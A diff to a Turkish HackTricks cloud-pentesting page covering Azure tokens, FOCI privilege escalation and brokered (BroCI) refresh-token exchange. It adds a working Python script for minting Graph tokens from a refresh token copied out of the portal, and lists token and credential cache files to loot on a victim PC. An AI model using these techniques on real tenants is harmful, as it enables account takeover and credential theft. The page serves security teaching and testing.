diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
index b9d97256f..0bef8f8a2 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -1,98 +1,98 @@
-# Az - Tokens & Public Applications
+# Az - Tokenler ve Public Applications
{{#include ../../../banners/hacktricks-training.md}}
## Temel Bilgiler
-Entra ID, Microsoft'un bulut tabanlı kimlik ve erişim yönetimi (IAM) platformudur ve Microsoft 365 ve Azure Resource Manager gibi hizmetler için temel kimlik doğrulama ve yetkilendirme sistemi olarak hizmet verir. Azure AD, kaynaklara erişimi yönetmek için OAuth 2.0 authorization framework ve OpenID Connect (OIDC) authentication protocolünü uygular.
+Entra ID, Microsoft'ın bulut tabanlı kimlik ve erişim yönetimi (IAM) platformudur ve Microsoft 365 ile Azure Resource Manager gibi servisler için temel kimlik doğrulama ve yetkilendirme sistemini sağlar. Azure AD, kaynaklara erişimi yönetmek için OAuth 2.0 authorization framework ve OpenID Connect (OIDC) authentication protocol uygular.
### OAuth
-**OAuth 2.0'deki Temel Katılımcılar:**
+**OAuth 2.0'deki Önemli Katılımcılar:**
-1. **Resource Server (RS):** Kaynak sahibine ait kaynakları koruyan sunucu.
-2. **Resource Owner (RO):** Genellikle korunan kaynaklara sahip olan son kullanıcı.
-3. **Client Application (CA):** Resource owner adına kaynaklara erişim talep eden uygulama.
-4. **Authorization Server (AS):** İstemci uygulamaları kimlik doğruladıktan ve yetkilendirdikten sonra onlara access tokenlar verir.
+1. **Resource Server (RS):** Resource owner'a ait kaynakları korur.
+2. **Resource Owner (RO):** Genellikle korunan kaynakların sahibi olan son kullanıcı.
+3. **Client Application (CA):** Resource owner adına kaynaklara erişim talep eden bir uygulama.
+4. **Authorization Server (AS):** İstemci uygulamaları doğrulayıp yetkilendirdikten sonra onlara access tokenler verir.
**Scopes ve Onay:**
-- **Scopes:** Kaynak sunucuda tanımlanmış, erişim düzeylerini belirleyen ayrıntılı izinler.
-- **Consent (Onay):** Resource owner'ın, istemci uygulamaya belirli scope'larla kaynaklara erişim izni vermesi süreci.
+- **Scopes:** Kaynak sunucusunda tanımlanan ve erişim düzeylerini belirleyen ayrıntılı izinler.
+- **Consent:** Resource owner'ın, belirli scope'larla kaynaklara erişim izni vermesi sürecidir.
**Microsoft 365 Entegrasyonu:**
- Microsoft 365, IAM için Azure AD'yi kullanır ve birden fazla "first-party" OAuth uygulamasından oluşur.
-- Bu uygulamalar derin entegrasyonludur ve genellikle birbirine bağımlı servis ilişkilerine sahiptir.
+- Bu uygulamalar derinlemesine entegre edilmiştir ve genellikle birbirleriyle bağımlı servis ilişkilerine sahiptir.
- Kullanıcı deneyimini basitleştirmek ve işlevselliği korumak için Microsoft, bu first-party uygulamalara "implied consent" veya "pre-consent" verir.
-- **Implied Consent:** Belirli uygulamalara, açık bir kullanıcı veya yönetici onayı olmadan belirli scope'lara otomatik olarak **erişim verilmesi**.
-- Bu ön-onaylı scope'lar genellikle hem kullanıcıların hem de yöneticilerin standart yönetim arayüzlerinde görülmesini zorlaştıracak şekilde gizlenir.
+- **Implied Consent:** Belirli uygulamalara, belirli scope'lara açık bir kullanıcı veya yönetici onayı olmadan **otomatik olarak erişim verilir**.
+- Bu ön-onaylı scope'lar tipik olarak hem kullanıcılardan hem de yöneticilerden gizlenir ve standart yönetim arayüzlerinde daha az görünür olurlar.
**Client Application Türleri:**
1. **Confidential Clients:**
-- Kendi kimlik bilgilerine (ör. parola veya sertifika) sahiptir.
-- Authorization server'a kendilerini **güvenli şekilde kimlik doğrulayabilirler**.
+- Kendi kimlik bilgilerine sahiptir (ör. parolalar veya sertifikalar).
+- Authorization server'a kendilerini **güvenli şekilde doğrulayabilirler**.
2. **Public Clients:**
-- Benzersiz kimlik bilgileri yoktur.
-- Authorization server'a güvenli şekilde kimlik doğrulayamazlar.
-- **Güvenlik Etkisi:** Authorization server, uygulamanın meşruiyetini doğrulayamadığı için bir saldırgan public client uygulamasını taklit ederek token isteyebilir.
+- Benzersiz kimlik bilgilerine sahip değildir.
+- Authorization server'a güvenli şekilde kimlik doğrulaması yapamazlar.
+- **Güvenlik Etkisi:** Bir attacker, token talep ederken bir public client uygulamasını taklit edebilir; authorization server'ın uygulamanın meşruiyetini doğrulamak için bir mekanizması yoktur.
-## Authentication Tokens
+## Kimlik Doğrulama Tokenleri
OIDC'de kullanılan **üç tür token** vardır:
-- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** İstemci, kaynaklara **erişim sağlamak** için bu token'ı resource server'a sunar. Sadece belirli bir kullanıcı, istemci ve kaynak kombinasyonu için kullanılabilir ve süresi dolana kadar **iptal edilemez** — varsayılan olarak bu süre 1 saattir.
-- **ID Tokens**: İstemci, bu token'ı authorization server'dan alır. Kullanıcı hakkında temel bilgileri içerir. **Belirli bir kullanıcı ve istemci kombinasyonuna bağlıdır.**
-- **Refresh Tokens**: İstemciye access token ile birlikte verilir. Yeni access ve ID token'lar **almak** için kullanılır. Belirli bir kullanıcı ve istemci kombinasyonuna bağlıdır ve iptal edilebilir. Varsayılan sona erme süresi, etkin olmayan refresh tokenlar için **90 gündür** ve **etkin tokenlar için sona erme yoktur** (bir refresh token'dan yeni refresh token almak mümkündür).
-- Bir refresh token bir **`aud`**'a, bazı **scopes**'lara ve bir **tenant**a bağlı olmalı ve yalnızca o aud, scope'lar (ve daha fazlası değil) ve tenant için access token üretebilmelidir. Ancak bu, **FOCI applications tokens** için geçerli değildir.
+- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** İstemci bu tokeni resource server'a sunarak **kaynaklara erişir**. Bu token yalnızca belirli bir kullanıcı, istemci ve kaynak kombinasyonu için kullanılabilir ve süresi dolana kadar **iptal edilemez** - varsayılan olarak bu süre 1 saattir.
+- **ID Tokens**: İstemci bu **tokeni authorization server'dan** alır. Kullanıcı hakkında temel bilgileri içerir. Belirli bir kullanıcı ve istemci kombinasyonuna **bağlıdır**.
+- **Refresh Tokens**: Access token ile birlikte istemciye verilir. Yeni access ve ID tokenleri **almak için** kullanılır. Belirli bir kullanıcı ve istemci kombinasyonuna bağlıdır ve iptal edilebilir. Varsayılan süre, inaktif refresh tokenler için **90 gündür** ve aktif tokenler için **süresizdir** (bir refresh token'dan yeni refresh token almak mümkündür).
+- Bir refresh token bir **`aud`**'a, bazı **scopes**'a ve bir **tenant**'a bağlanmalıdır ve yalnızca o aud, scope'lar (ve daha fazlası değil) ve tenant için access tokenler üretebilmelidir. Ancak **FOCI applications tokens** ile bu durum geçerli değildir.
- Bir refresh token şifrelenmiştir ve yalnızca Microsoft bunu deşifre edebilir.
-- Yeni bir refresh token almak, önceki refresh token'ı iptal etmez.
+- Yeni bir refresh token almak, önceki refresh tokeni iptal etmez.
> [!WARNING]
-> Conditional access bilgisi **JWT** içinde **saklanır**. Bu yüzden, **token'ı izin verilen bir IP adresinden talep ederseniz**, o **IP** token içinde **saklanır** ve daha sonra bu token'ı izin verilmeyen bir IP'den kullanarak kaynaklara erişebilirsiniz.
+> conditional access ile ilgili bilgiler **JWT** içinde **saklanır**. Yani, eğer tokeni izin verilen bir IP adresinden isterseniz, o **IP** token içinde **saklanır** ve daha sonra o tokeni izin verilmeyen bir IP'den **kaynaklara erişmek için** kullanabilirsiniz.
### Access Tokens "aud"
-"`aud`" alanında belirtilen değer, giriş yapmak için kullanılan **resource server** (uygulama) içindir.
+"aud" alanında belirtilen değer, login işlemi için kullanılan **resource server**dır (uygulama).
-`az account get-access-token --resource-type [...]` komutu aşağıdaki türleri destekler ve her biri elde edilen access token içinde spesifik bir "aud" ekleyecektir:
+`az account get-access-token --resource-type [...]` komutu aşağıdaki türleri destekler ve her biri sonuç access token içinde belirli bir "aud" ekler:
> [!CAUTION]
-> Aşağıdakilerin yalnızca `az account get-access-token` tarafından desteklenen API'ler olduğunu, ancak daha fazlasının olduğunu unutmayın.
+> Not: Aşağıdakiler `az account get-access-token` tarafından desteklenen API'lerin yalnızca bir kısmıdır; daha fazlası mevcuttur.
-aud örnekleri
+aud examples
-- **aad-graph (Azure Active Directory Graph API)**: Eski Azure AD Graph API'ye (deprecated) erişmek için kullanılır; uygulamaların Azure Active Directory (Azure AD) içinde dizin verilerini okumasına ve yazmasına izin verir.
+- **aad-graph (Azure Active Directory Graph API)**: Eski Azure AD Graph API'ye (deprecated) erişmek için kullanılır; bu API, uygulamaların Azure Active Directory (Azure AD) içindeki dizin verilerini okumasına ve yazmasına olanak tanır.
- `https://graph.windows.net/`
-* **arm (Azure Resource Manager)**: Azure Resource Manager API aracılığıyla Azure kaynaklarını yönetmek için kullanılır. Bu, sanal makineler, depolama hesapları ve benzeri kaynakları oluşturma, güncelleme ve silme gibi işlemleri içerir.
+* **arm (Azure Resource Manager)**: Azure Resource Manager API aracılığıyla Azure kaynaklarını yönetmek için kullanılır. Bu, sanal makineler, depolama hesapları ve daha fazlası gibi kaynakların oluşturulması, güncellenmesi ve silinmesi gibi işlemleri içerir.
- `https://management.core.windows.net/ or https://management.azure.com/`
-- **batch (Azure Batch Services)**: Büyük ölçekli paralel ve yüksek performanslı hesaplama uygulamalarını bulutta verimli bir şekilde çalıştırmayı sağlayan Azure Batch'e erişim için kullanılır.
+- **batch (Azure Batch Services)**: Buluttaki büyük ölçekli paralel ve yüksek performanslı hesaplama uygulamalarını verimli bir şekilde destekleyen Azure Batch'e erişmek için kullanılır.
- `https://batch.core.windows.net/`
-* **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1 ile etkileşim için kullanılır; bu, ölçeklenebilir veri depolama ve analitik hizmetidir.
+* **data-lake (Azure Data Lake Storage)**: Ölçeklenebilir bir veri depolama ve analiz hizmeti olan Azure Data Lake Storage Gen1 ile etkileşim için kullanılır.
- `https://datalake.azure.net/`
-- **media (Azure Media Services)**: Video ve ses içeriği için bulut tabanlı medya işleme ve dağıtım hizmetleri sağlayan Azure Media Services'a erişim için kullanılır.
+- **media (Azure Media Services)**: Video ve ses içeriği için bulut tabanlı medya işleme ve dağıtım servisleri sağlayan Azure Media Services'a erişmek için kullanılır.
- `https://rest.media.azure.net`
-* **ms-graph (Microsoft Graph API)**: Microsoft 365 hizmet verileri için birleşik uç nokta olan Microsoft Graph API'ye erişmek için kullanılır. Azure AD, Office 365, Enterprise Mobility ve Security hizmetleri gibi servislerden veri ve içgörüler elde etmenizi sağlar.
+* **ms-graph (Microsoft Graph API)**: Microsoft 365 servisleri verileri için birleşik uç nokta olan Microsoft Graph API'ye erişmek için kullanılır. Azure AD, Office 365, Enterprise Mobility ve Security servisleri gibi servislerden veri ve içgörüler almanıza olanak tanır.
- `https://graph.microsoft.com`
-- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL ve MariaDB gibi açık kaynak ilişkisel veritabanı motorları için Azure Database hizmetlerine erişmek için kullanılır.
+- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL ve MariaDB gibi açık kaynaklı ilişkisel veritabanı motorları için Azure Database servislerine erişmek için kullanılır.
- `https://ossrdbms-aad.database.windows.net`
### Access Tokens Scopes "scp"
-Access token'ın scope'u, access token JWT içindeki scp anahtarında saklanır. Bu scope'lar, access token'ın neye erişimi olduğunu tanımlar.
+Bir access token'ın kapsamı, access token JWT'si içindeki scp anahtarının içinde saklanır. Bu scope'lar access token'ın neye erişimi olduğunu tanımlar.
-Eğer bir JWT belirli bir API ile iletişim kurmaya izinliyse ama istenen işlemi yapacak scope'a **sahip değilse**, o JWT ile işlemi **gerçekleştiremez**.
+Eğer bir JWT belirli bir API ile iletişim kurmasına izin veriliyorsa fakat istenen işlemi gerçekleştirmek için gerekli scope'a **sahip değilse**, o JWT ile işlemi **gerçekleştiremez**.
### Get refresh & access token example
```python
@@ -146,30 +146,30 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
```
### Diğer access token alanları
-- **appid**: Token'i oluşturmak için kullanılan Application ID
+- **appid**: token oluşturmak için kullanılan Application ID
- **appidacr**: The Application Authentication Context Class Reference, istemcinin nasıl kimlik doğrulandığını gösterir; public client için değer 0, client secret kullanıldıysa değer 1'dir
-- **acr**: Authentication Context Class Reference bildirimi, son-kullanıcı kimlik doğrulaması ISO/IEC 29115 gereksinimlerini karşılamadıysa "0" olur.
-- **amr**: Authentication method, token'in nasıl doğrulandığını gösterir. “pwd” değeri bir parolanın kullanıldığını gösterir.
-- **groups**: Öznenin üye olduğu grupları gösterir.
-- **iss**: Token'i oluşturan security token service (STS) sağlayıcısını tanımlar. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
-- **oid**: Öznenin object ID'si
+- **acr**: The Authentication Context Class Reference iddiası, son-kullanıcı kimlik doğrulaması ISO/IEC 29115 gereksinimlerini karşılamadığında "0" olur.
+- **amr**: The Authentication method, token'in nasıl doğrulandığını belirtir. “pwd” değeri şifre kullanıldığını gösterir.
+- **groups**: principal'ın üye olduğu grupları gösterir.
+- **iss**: iss, token'i oluşturan security token service (STS)'yi tanımlar. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
+- **oid**: principal'ın object ID'si
- **tid**: Tenant ID
-- **iat, nbf, exp**: Issued at (veriliş zamanı), Not before (bu zamandan önce kullanılamaz, genelde aynı değer iat), Expiration time (sona erme zamanı).
+- **iat, nbf, exp**: Veriliş zamanı (ne zaman verildi), Not before (bu zamandan önce kullanılamaz, genelde iat ile aynı değer), Son kullanma zamanı.
-## FOCI Tokens Privilege Escalation
+## FOCI Token'larda Ayrıcalık Yükseltmesi
-Daha önce, refresh tokens'in üretildiği **scopes**'a, üretildiği **application**'a ve **tenant**'a bağlı olması gerektiği belirtilmişti. Bu sınırların herhangi biri kırılırsa, kullanıcının erişimi olan diğer kaynaklar ve tenant'lar için ve orijinal amaçlanandan daha fazla scope ile access token'lar üretmek mümkün olacağından privilege escalation mümkün olur.
+Daha önce refresh token'ların oluşturuldukları **scopes**, **application** ve **tenant** ile bağlı olması gerektiği belirtildi. Bu sınırların herhangi biri kırılırsa, kullanıcının erişimi olan diğer kaynaklar ve tenantlar için ve orijinal amaçlanandan daha fazla scope içeren access token'lar üretilebileceği için ayrıcalık yükseltmesi mümkün olur.
-Dahası, **bu, Microsoft identity platform'daki tüm refresh token'larla mümkündür** (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) çünkü [**docs**] şöyle diyor: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
+Ayrıca, [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) içindeki tüm refresh token'larda **bu mümkündür** (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) çünkü [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) şöyle diyor: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
-Ayrıca, FOCI uygulamalarının public applications olduğunu unutmayın; bu yüzden sunucuya kimlik doğrulamak için **hiçbir secret gerekmez**.
+Ayrıca, FOCI uygulamalarının public uygulamalar olduğunu unutmayın; bu yüzden sunucuya kimlik doğrulamak için **secret gerekmez**.
-Then known FOCI clients reported in the [**original research**] can be [**found here**].
+Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
-### Farklı scope almak
+### Farklı scope elde et
-Önceki örnek koda devam ederek, bu kodda farklı bir scope için yeni bir token isteniyor:
+Önceki örnek kodu takiben, bu kodda farklı bir scope için yeni bir token talep ediliyor:
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
@@ -202,30 +202,360 @@ scopes=["https://graph.microsoft.com/.default"],
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
-## Tokenler nerede bulunur
+## NAA / BroCI (Nested App Authentication / Broker Client Injection)
-Bir saldırganın bakış açısından, örneğin bir kurbanın PC'si ele geçirildiğinde access ve refresh token'ların nerede bulunabileceğini bilmek çok ilginçtir:
+A BroCI refresh token, mevcut bir refresh token'ın ekstra broker parametreleriyle başka bir güvenilen first-party app adına token istemek için kullanıldığı bir brokered token exchange pattern'idir.
-- İçinde **`/.Azure`**
-- **`azureProfile.json`** geçmişte oturum açmış kullanıcılarla ilgili bilgiler içerir
-- **`clouds.config contains`** aboneliklerle ilgili bilgiler içerir
-- **`service_principal_entries.json`** uygulama kimlik bilgilerini içerir (tenant id, clients ve secret). Sadece Linux & macOS
+These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
+
+### Amaç ve hedef
+
+BroCI'nin amacı, broker-capable bir app zincirinden geçerli bir kullanıcı oturumunu yeniden kullanmak ve başka bir güvenilen app/resource çiftine token talep etmektir. Böylece orijinal token'dan "yetki yükseltme" (escalate privileges) yapılmasına olanak verir.
+
+Saldırgan bakış açısından, bunun önemi:
+
+- Standart refresh exchange'leri ile erişilemeyen, önceden onaylanmış first-party app yollarını açabilir.
+- Geniş delegated permissions sahibi app kimlikleri altında yüksek değerli API'ler (ör. Microsoft Graph) için access token'lar döndürebilir.
+- Klasik FOCI client switching'in ötesinde post-authentication token pivoting fırsatlarını genişletir.
+
+NAA/BroCI refresh token'da değişen şey görünen token formatı değil, Microsoft'un brokered refresh işlemleri sırasında doğruladığı **issuance context** ve broker ile ilgili metadata'dır.
+
+NAA/BroCI token exchanges, normal bir OAuth refresh exchange ile **aynı değildir**.
+
+- Normal bir refresh token (örneğin device code flow ile elde edilen) genellikle standart `grant_type=refresh_token` işlemleri için geçerlidir.
+- Bir BroCI isteği ek broker bağlamı içerir (`brk_client_id`, broker `redirect_uri`, and `origin`).
+- Microsoft, sunulan refresh token'ın eşleşen bir brokered bağlamda oluşturulup oluşturulmadığını doğrular.
+- Bu nedenle birçok "normal" refresh token BroCI isteklerinde `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant") gibi hatalarla başarısız olur.
+- Genel olarak normal bir refresh token'ı kod içinde BroCI-geçerli bir token'a "dönüştüremezsiniz".
+- Uyumlubir brokered flow tarafından zaten verilmiş bir refresh token'a ihtiyacınız vardır.
+
+Check the web **** to find BroCI configured apps an the trust relationships they have.
+
+### Zihinsel model
+
+BroCI'yi şu şekilde düşünün:
+
+`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
+
+Eğer broker zincirinin herhangi bir bölümü eşleşmezse, işlem başarısız olur.
+
+### BroCI-geçerli refresh token nerede bulunur
+
+Pratik bir yol, tarayıcı portal trafiğini toplamak:
+
+1. `https://entra.microsoft.com` (veya Azure portal) adresine giriş yapın.
+2. DevTools'u açın -> Network.
+3. Şunu filtreleyin:
+ - `oauth2/v2.0/token`
+ - `management.core.windows.net`
+4. Brokered token yanıtını tespit edin ve `refresh_token`'ı kopyalayın.
+5. Hedef uygulamalar için token talep ederken (ör. ADIbizaUX / Microsoft_Azure_PIMCommon senaryoları) eşleşen BroCI parametreleri (`brk_client_id`, `redirect_uri`, `origin`) ile o refresh token'ı kullanın.
+
+### Yaygın hatalar
+
+- `AADSTS900054`: Refresh token bağlamı sağlanan broker üçlüsü (`brk_client_id` / `redirect_uri` / `origin`) ile eşleşmiyor veya token brokered portal flow'tan gelmiyor.
+- `AADSTS7000218`: Seçilen client flow gizli bir credential (`client_secret`/assertion) bekliyor; genellikle device code'ı non-public client ile denerken görülür.
+
+
+Python BroCI refresh helper (broci_auth.py)
+```python
+#!/usr/bin/env python3
+"""
+Python implementation of EntraTokenAid Broci refresh flow.
+
+Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
+- brk_client_id
+- redirect_uri
+- Origin header
+
+Usage:
+python3 broci_auth.py --refresh-token ""
+
+How to obtain a Broci-valid refresh token (authorized testing only):
+1) Open https://entra.microsoft.com and sign in.
+2) Open browser DevTools -> Network.
+3) Filter requests for:
+- "oauth2/v2.0/token"
+- "management.core.windows.net"
+4) Locate the portal broker token response and copy the "refresh_token" value
+(the flow should be tied to https://management.core.windows.net//).
+5) Use that token with this script and Broci params:
+
+python3 broci_auth.py \
+--refresh-token "" \
+--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
+--tenant "organizations" \
+--api "graph.microsoft.com" \
+--scope ".default offline_access" \
+--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
+--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
+--origin "https://entra.microsoft.com" \
+--token-out
+"""
+
+import argparse
+import base64
+import datetime as dt
+import json
+import re
+import sys
+import urllib.error
+import urllib.parse
+import urllib.request
+from typing import Any
+
+
+GUID_RE = re.compile(
+r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
+)
+OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
+
+
+def resolve_api_scope_url(api: str, scope: str) -> str:
+"""
+Match Resolve-ApiScopeUrl behavior from the PowerShell module.
+"""
+if GUID_RE.match(api):
+base_resource = api
+elif api.lower().startswith("urn:") or "://" in api:
+base_resource = api
+else:
+base_resource = f"https://{api}"
+
+base_resource = base_resource.rstrip("/")
+
+resolved: list[str] = []
+for token in scope.split():
+if not token.strip():
+continue
+if "://" in token:
+resolved.append(token)
+elif token.lower().startswith("urn:"):
+resolved.append(token)
+elif token in OIDC_SCOPES:
+resolved.append(token)
+elif GUID_RE.match(token):
+resolved.append(f"{token}/.default")
+else:
+normalized = ".default" if token in {"default", ".default"} else token
+resolved.append(f"{base_resource}/{normalized}")
+
+return " ".join(resolved)
+
+
+def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
+parts = jwt_token.split(".")
+if len(parts) != 3:
+raise ValueError("Invalid JWT format.")
+payload = parts[1]
+padding = "=" * ((4 - len(payload) % 4) % 4)
+decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
+return json.loads(decoded.decode("utf-8"))
+
+
+def refresh_broci_token(
+refresh_token: str,
+client_id: str,
+scope: str,
+api: str,
+tenant: str,
+user_agent: str,
+origin: str | None,
+brk_client_id: str | None,
+redirect_uri: str | None,
+disable_cae: bool,
+) -> dict[str, Any]:
+api_scope_url = resolve_api_scope_url(api=api, scope=scope)
+
+headers = {
+"User-Agent": user_agent,
+"X-Client-Sku": "MSAL.Python",
+"X-Client-Ver": "1.31.0",
+"X-Client-Os": "win32",
+"Content-Type": "application/x-www-form-urlencoded",
+}
+if origin:
+headers["Origin"] = origin
+
+body: dict[str, str] = {
+"grant_type": "refresh_token",
+"client_id": client_id,
+"scope": api_scope_url,
+"refresh_token": refresh_token,
+}
+if not disable_cae:
+body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
+if brk_client_id:
+body["brk_client_id"] = brk_client_id
+if redirect_uri:
+body["redirect_uri"] = redirect_uri
+
+data = urllib.parse.urlencode(body).encode("utf-8")
+token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
+req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
+
+try:
+with urllib.request.urlopen(req) as resp:
+raw = resp.read().decode("utf-8")
+except urllib.error.HTTPError as e:
+err_raw = e.read().decode("utf-8", errors="replace")
+try:
+err_json = json.loads(err_raw)
+short = err_json.get("error", "unknown_error")
+desc = err_json.get("error_description", err_raw)
+raise RuntimeError(f"{short}: {desc}") from None
+except json.JSONDecodeError:
+raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
+
+tokens = json.loads(raw)
+if "access_token" not in tokens:
+raise RuntimeError("Token endpoint response did not include access_token.")
+return tokens
+
+
+def main() -> int:
+parser = argparse.ArgumentParser(
+description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
+)
+parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
+parser.add_argument(
+"--client-id",
+default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
+help="Client ID (default: Azure CLI).",
+)
+parser.add_argument(
+"--scope",
+default=".default offline_access",
+help="Scopes (default: '.default offline_access').",
+)
+parser.add_argument(
+"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
+)
+parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
+parser.add_argument(
+"--user-agent",
+default="python-requests/2.32.3",
+help="User-Agent sent to token endpoint.",
+)
+parser.add_argument("--origin", default=None, help="Optional Origin header.")
+parser.add_argument(
+"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
+)
+parser.add_argument(
+"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
+)
+parser.add_argument(
+"--disable-cae",
+action="store_true",
+help="Disable CAE claims in token request.",
+)
+parser.add_argument(
+"--token-out",
+action="store_true",
+help="Print access/refresh tokens in output.",
+)
+parser.add_argument(
+"--disable-jwt-parsing",
+action="store_true",
+help="Do not parse JWT claims.",
+)
+
+args = parser.parse_args()
+
+print("[*] Sending request to token endpoint")
+try:
+tokens = refresh_broci_token(
+refresh_token=args.refresh_token,
+client_id=args.client_id,
+scope=args.scope,
+api=args.api,
+tenant=args.tenant,
+user_agent=args.user_agent,
+origin=args.origin,
+brk_client_id=args.brk_client_id,
+redirect_uri=args.redirect_uri,
+disable_cae=args.disable_cae,
+)
+except Exception as e:
+print(f"[!] Error: {e}", file=sys.stderr)
+return 1
+
+expires_in = int(tokens.get("expires_in", 0))
+expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
+tokens["expiration_time"] = expiration_time
+
+print(
+"[+] Got an access token and a refresh token"
+if tokens.get("refresh_token")
+else "[+] Got an access token (no refresh token requested)"
+)
+
+if not args.disable_jwt_parsing:
+try:
+jwt_payload = parse_jwt_payload(tokens["access_token"])
+audience = jwt_payload.get("aud", "")
+print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
+tokens["scp"] = jwt_payload.get("scp")
+tokens["tenant"] = jwt_payload.get("tid")
+tokens["user"] = jwt_payload.get("upn")
+tokens["client_app"] = jwt_payload.get("app_displayname")
+tokens["client_app_id"] = args.client_id
+tokens["auth_methods"] = jwt_payload.get("amr")
+tokens["ip"] = jwt_payload.get("ipaddr")
+tokens["audience"] = audience
+if isinstance(audience, str):
+tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
+if "xms_cc" in jwt_payload:
+tokens["xms_cc"] = jwt_payload.get("xms_cc")
+except Exception as e:
+print(f"[!] JWT parse error: {e}", file=sys.stderr)
+return 1
+else:
+print(f"[i] Expires at: {expiration_time}")
+
+if args.token_out:
+print("\nAccess Token:")
+print(tokens.get("access_token", ""))
+if tokens.get("refresh_token"):
+print("\nRefresh Token:")
+print(tokens["refresh_token"])
+
+print("\nToken object (JSON):")
+print(json.dumps(tokens, indent=2))
+return 0
+
+
+if __name__ == "__main__":
+raise SystemExit(main())
+```
+
+
+## Token'lar nerede bulunur
+
+Bir saldırgan açısından, örneğin hedefin PC'si ele geçirildiğinde, access ve refresh token'ların nerede bulunabileceğini bilmek çok ilginçtir:
+
+- Inside **`/.Azure`**
+- **`azureProfile.json`** geçmişte oturum açmış kullanıcılar hakkında bilgi içerir
+- **`clouds.config contains`** abonelikler hakkında bilgi içerir
+- **`service_principal_entries.json`** uygulama kimlik bilgilerini içerir (tenant id, client'lar ve secret). Sadece Linux & macOS
- **`msal_token_cache.json`** access tokens ve refresh tokens içerir. Sadece Linux & macOS
-- **`service_principal_entries.bin`** ve msal_token_cache.bin Windows'ta kullanılır ve DPAPI ile şifrelenir
-- **`msal_http_cache.bin`** HTTP isteklerinin bir cache'idir
-- Yüklemek için: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
-- **`AzureRmContext.json`** Az PowerShell kullanılarak yapılan önceki logins ile ilgili bilgiler içerir (ancak kimlik bilgisi içermez)
-- İçinde **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** birkaç `.bin` dosyası bulunur; bunlar kullanıcının DPAPI'si ile şifrelenmiş **access tokens**, ID tokens ve hesap bilgilerini içerir.
-- Daha fazla **access tokens** `C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\` içindeki `.tbres` dosyalarında bulunabilir; bu dosyalar access token'ları DPAPI ile şifrelenmiş base64 formatında içerir.
-- Linux ve macOS'ta Az PowerShell (kullanıldıysa) ile `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` komutunu çalıştırarak **access tokens, refresh tokens ve id tokens** elde edebilirsiniz
-- Windows'ta bu sadece id token'ları üretir.
-- Linux ve macOS'ta Az PowerShell'in kullanılıp kullanılmadığını `$HOME/.local/share/.IdentityService/` dizininin var olup olmadığına bakarak görebilirsiniz (ancak içindeki dosyalar genellikle boş ve işe yaramaz)
-- If the user is **logged inside Azure with the browser**, according to this [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) it's possible to start the authentication flow with a **redirect to localhost**, make the browser automatically authorize the login, and receive the resh token. Note that there are only a few FOCI applications that allow redicet to localhost (like az cli or the powershell module), so these applications must be allowed.
